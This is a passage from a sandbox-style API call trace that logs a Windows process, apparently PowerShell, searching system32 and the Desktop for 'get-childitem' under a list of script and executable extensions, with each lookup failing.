ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.680] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.ps1", lpFilePart=0x0) returned 0x25 [0111.680] GetFullPathNameW (in: lpFileName="get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.ps1", lpFilePart=0x0) returned 0x2f [0111.680] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.ps1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.psm1", lpFilePart=0x0) returned 0x26 [0111.681] GetFullPathNameW (in: lpFileName="get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psm1", lpFilePart=0x0) returned 0x30 [0111.681] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.psm1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.681] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.681] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.psd1", lpFilePart=0x0) returned 0x26 [0111.682] GetFullPathNameW (in: lpFileName="get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psd1", lpFilePart=0x0) returned 0x30 [0111.682] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.psd1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.COM", lpFilePart=0x0) returned 0x25 [0111.682] GetFullPathNameW (in: lpFileName="get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.COM", lpFilePart=0x0) returned 0x2f [0111.682] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.COM", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.682] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.EXE", lpFilePart=0x0) returned 0x25 [0111.683] GetFullPathNameW (in: lpFileName="get-childitem.EXE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.EXE", lpFilePart=0x0) returned 0x2f [0111.683] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.EXE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.BAT", lpFilePart=0x0) returned 0x25 [0111.683] GetFullPathNameW (in: lpFileName="get-childitem.BAT", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.BAT", lpFilePart=0x0) returned 0x2f [0111.683] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.BAT", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.684] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.CMD", lpFilePart=0x0) returned 0x25 [0111.684] GetFullPathNameW (in: lpFileName="get-childitem.CMD", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.CMD", lpFilePart=0x0) returned 0x2f [0111.684] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.CMD", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.684] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.VBS", lpFilePart=0x0) returned 0x25 [0111.685] GetFullPathNameW (in: lpFileName="get-childitem.VBS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBS", lpFilePart=0x0) returned 0x2f [0111.685] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.VBS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.685] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.VBE", lpFilePart=0x0) returned 0x25 [0111.685] GetFullPathNameW (in: lpFileName="get-childitem.VBE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.VBE", lpFilePart=0x0) returned 0x2f [0111.685] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.VBE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.686] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.JS", lpFilePart=0x0) returned 0x24 [0111.686] GetFullPathNameW (in: lpFileName="get-childitem.JS", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JS", lpFilePart=0x0) returned 0x2e [0111.686] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.JS", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.686] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.JSE", lpFilePart=0x0) returned 0x25 [0111.687] GetFullPathNameW (in: lpFileName="get-childitem.JSE", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.JSE", lpFilePart=0x0) returned 0x2f [0111.687] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.JSE", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.687] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.WSF", lpFilePart=0x0) returned 0x25 [0111.687] GetFullPathNameW (in: lpFileName="get-childitem.WSF", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSF", lpFilePart=0x0) returned 0x2f [0111.687] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.WSF", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\get-childitem.WSH", lpFilePart=0x0) returned 0x25 [0111.688] GetFullPathNameW (in: lpFileName="get-childitem.WSH", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.WSH", lpFilePart=0x0) returned 0x2f [0111.688] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\get-childitem.WSH", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.688] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0111.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9726f8de, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x139c0a0d, ftLastAccessTime.dwHighDateTime=0x1d4ae21, ftLastWriteTime.dwLowDateTime=0x139c0a0d, ftLastWriteTime.dwHighDateTime=0x1d4ae21, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0111.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.688] SetThreadErrorMode 